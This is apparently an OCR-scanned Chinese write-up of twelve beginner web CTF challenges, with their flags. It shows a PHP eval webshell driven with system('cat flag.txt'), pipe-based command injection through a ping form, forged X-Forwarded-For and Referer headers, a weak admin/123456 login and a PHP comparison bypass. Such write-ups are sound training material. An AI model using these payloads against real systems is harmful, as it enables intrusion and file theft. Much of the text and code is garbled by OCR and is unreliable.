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1. view_source

FLAG is not here

HEANTH

RMTEFHBARAR, BEEEF12EFIE DG, Kiifag
<h1=FLAG is not here</hl>
<!-= cyberpeace{3db5f87905301c916eadbB8f78b54b650} ~—=

=/body=
=/html=

2. get_post


https://blog.csdn.net/weixin_44120313
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44120313/article/details/103156904
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Fhackbarté \getZ#a=1
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T M hackbarf& ApostZ#ib=2

URL
http://111.198.29.45:42846/7a=1

Enable POST apphcatmnlx -www-form-urlencoded -

5 %flag

cyberpeace{494d2eadcdc761f0bed4cd890b566051f}

3. robots



B H 4 Nrobots, HEMIrobots. 34 e A &K P, V5 A K IR

User-agent: #*
Disallow:
Disallow: flag_ ls_h3re.php

HijjEflag_1s_h3re.php, 75 Fflag

cyberpeace{dafee882cach75757dbea®57dc709041}

4. backup

BEA T

{RE0Eindex.phpfI& 3L
H&15?

HeM Zindex.php.bak X, Vi T # Elindex.php XS, 75 F(flag

<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI8BDE334}"
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5. cookie
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{RENE 4 Zcookield?

+ 111.198.29.45 | look-here

@TE

‘\ cookie.php

@

#rZ&cookie, KM
i [l cookie.php

See the http response

e B R E A S httph Bk, 5%flag

flag: cyberpeace{7557c9d994dde@9d172T124bes9230c1}

6. disabled_button



— A HERAYRH

flag

BT
RO GEI%, H¥EfEhackbarEpostféS

URL
http://111.198.29.45:35056/

enctype

. Enable POST  application/x-www-form-urlencoded

Body
auth=flag

%5 Flflag

cyberpeace{dc623160052d1f826433cal68ebet0a4}

7. simple_js



111.198.20.45:38944 |

Enter password

BEATUH, RIERMAELY
BEEARE, KHjsRG

function Aéchiffrei;ass_encs{
wvar pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";

var tab = pass_enc.split(','}:
var tabZ = pass.split{',");var i,j,k,l1=0,m,n,o,p = ""7i = 0;3 = tab.length;
k=3 + (1) + (n=0);

n

for{i = (o=0); 1 < (k = j
if (i == 5)break;}
for(i = (e=0); i < (k = j
o = tab[i-1];
if(i » 5 && 1 < k=1)
p += String.fromCharCode((oc = tabZ[i]));

n tabZ.length;
j n); i++ ){o = tab[i-1l];p += String.fromCharCode(({oc = tab2[i]));

= n); i++ ){

}
p 4= String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode™]
({dechiffre( "% ®x353\x35\x2c\x35 236 \x2c \x35\x34 v x2c \x37 v x39\x2e \ x31\x 31 x35\x2c v k36 v x3 9\ x2c \x3 1\ x3 1\ x34 22\ x3 1\ 231\ x36 \x2c \ x31 v x304\x37\x
2ch\x34N\x39\x2c\x35\x30") ) ;

h = window.prompt('Enter password');
alert{ dechiffre(h) );

FEEH BT TR

» function dechiffre(pass_enc){
var pass = "7@,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,1=8,m,n,0,p = "";i = @;j = tab.length;
=3+ (1) + (n=0);
= tab2. length;
or{i= (o=0); 1= (k=]
if(i == S)break;}
for{i = (o=0); 1< (k=]
o = tab[i-1];
if(i =5 &&% i = k-1)
p += String.fromCharlode( (o = tab2[i]));

ni; i++ J{o = tabl[i-1];p += String.fromCharCode({o = tab2[il});

=n); i+ }{

i
p #= String.fromCharCode(tab2[17]);
pass = p;return pass;

T
dechiffre("\x35%x354x2c\x35\x36\x2c\x35x 34\ x2c A\ 3T\ %3 %2 x3 1N\ x3 1\ k35 \x2c\ %364 %39 x2c A\ %31\ %31\ 34\ %2\ x3 1\ x3 1\ 36\ k2 c\ x3 1\ x 304 X3
"FAUX PASSWORD HAHA"

R -

RIT WA 4, #H¥HH"FAUX PASSWORD HAHA", RAIRGH
dechiffre("\x35\x35\x2¢\x35\x36\x2¢c\x35\x34\x2¢c\X3 7\x39\x2¢c\x3 1\x3 1\x35\X2¢c\X36\X39W2¢c\x3 1\1%3 1\x34\X2¢c\x3 1\x31\x36\X2¢c\x3 1\x3
0\37\%2c\x34\x39\x2¢c\x35\x30")

E=PS

15 F pythons B %5 B T 7 475F £ % Aasciifid



code=r"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\
x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
def hex_to_str(s):
return ''.join([chr(i) for i in [int(b, 16) for b in s.split(r'\x')[1:]1]])
a=hex_to_str(code)
b=a.split(',"

s
for i in b:
s+=chr(int(i))
print(s)
#7860sErtk12

#ith: 7860sErtk12
MiflagHy
Cyberpeace{7860sErtk12}

8. xff_referer

ipitEdit Al 123.123.123.123

PAEINE R Kk X-Forwarded-For: 123.123.123.123

PAIITE B https://www.google.com

B INE R kreferer: https://www.google.com

innerHTML="cyberpeace{049de88ebff41d7a911df3090c7e1f31}"

5 Zlflag

9. weak_auth



BT, KIERHE

Login

username
password

login

reset

ZRABFEL

admin

123456

RRBEEFEFHRY), RGfag, H8mMI%RTE H AR

cyberpeace{5f65ddcc8393a9cd566ed6cc709135b4}

10. webshell



BEA T

{RE{FERwebshelll3?

<7php @eval($_POST['shell']);?=

php—HJiEARD, postiy AT

Body
shell=system("ls");

GEIELINER P

flag.txt index.php

Body
shell=system("cat flag.txt");

5 %flag

cyberpeace{1alfedebadf85i321b47c490d92a8263}

11. command_execution
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PING

BN R Eping#ibit

PING

ping -c 3 127.8.08.1

PING 127.8.0.1 (127.8.@8.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seqg=1 ttl=64 time=8.8@36 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=8.854 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=8.857 ms

——= 127.0.9.1 ping statistics —-—
3 packets transmitted, 3 received, @% packet loss, time 1998ms
rtt min/avg/max/mdev = 9.0836/0.0849/0.857/8.809 ms

RILRED
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pingfir4, WEH]Aping -c 3

.
1T IR
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A

127.0.0.1 & 1s
73

ping -c 3 127.0.9.1 & 1s
index.php

A

127.0.0.1 | find / -name flag*
5 3flag 12

ping -c 3 127.8.@.1 | find / —-name flags
/home/Tlag.txt

A

127.0.0.1 | cat /home/flag.txt
B 3flag

ping -c 3 127.0.@.1 | cat /home/flag.txt
cyberpeace{9321137b34d87d1946c421c91920244a}

12. simple_php



BEATUE, RIS it

<?php
show_source(_ FILE_ );
include("config.php”);
$a=B%_GET['a'];
$b=8% GET['b'];
if($a==0 and $a){
echo $flagl;
}
if(is_numeric($b)){
exit();
}
if ($b>1234){
echo $flag2;
}

>

phpSu R LLEL, 145

?a=0a&b=1235a

Cyberpeace{647E37C7627CC3E4019ECE9324F66CTC}

K15 flag
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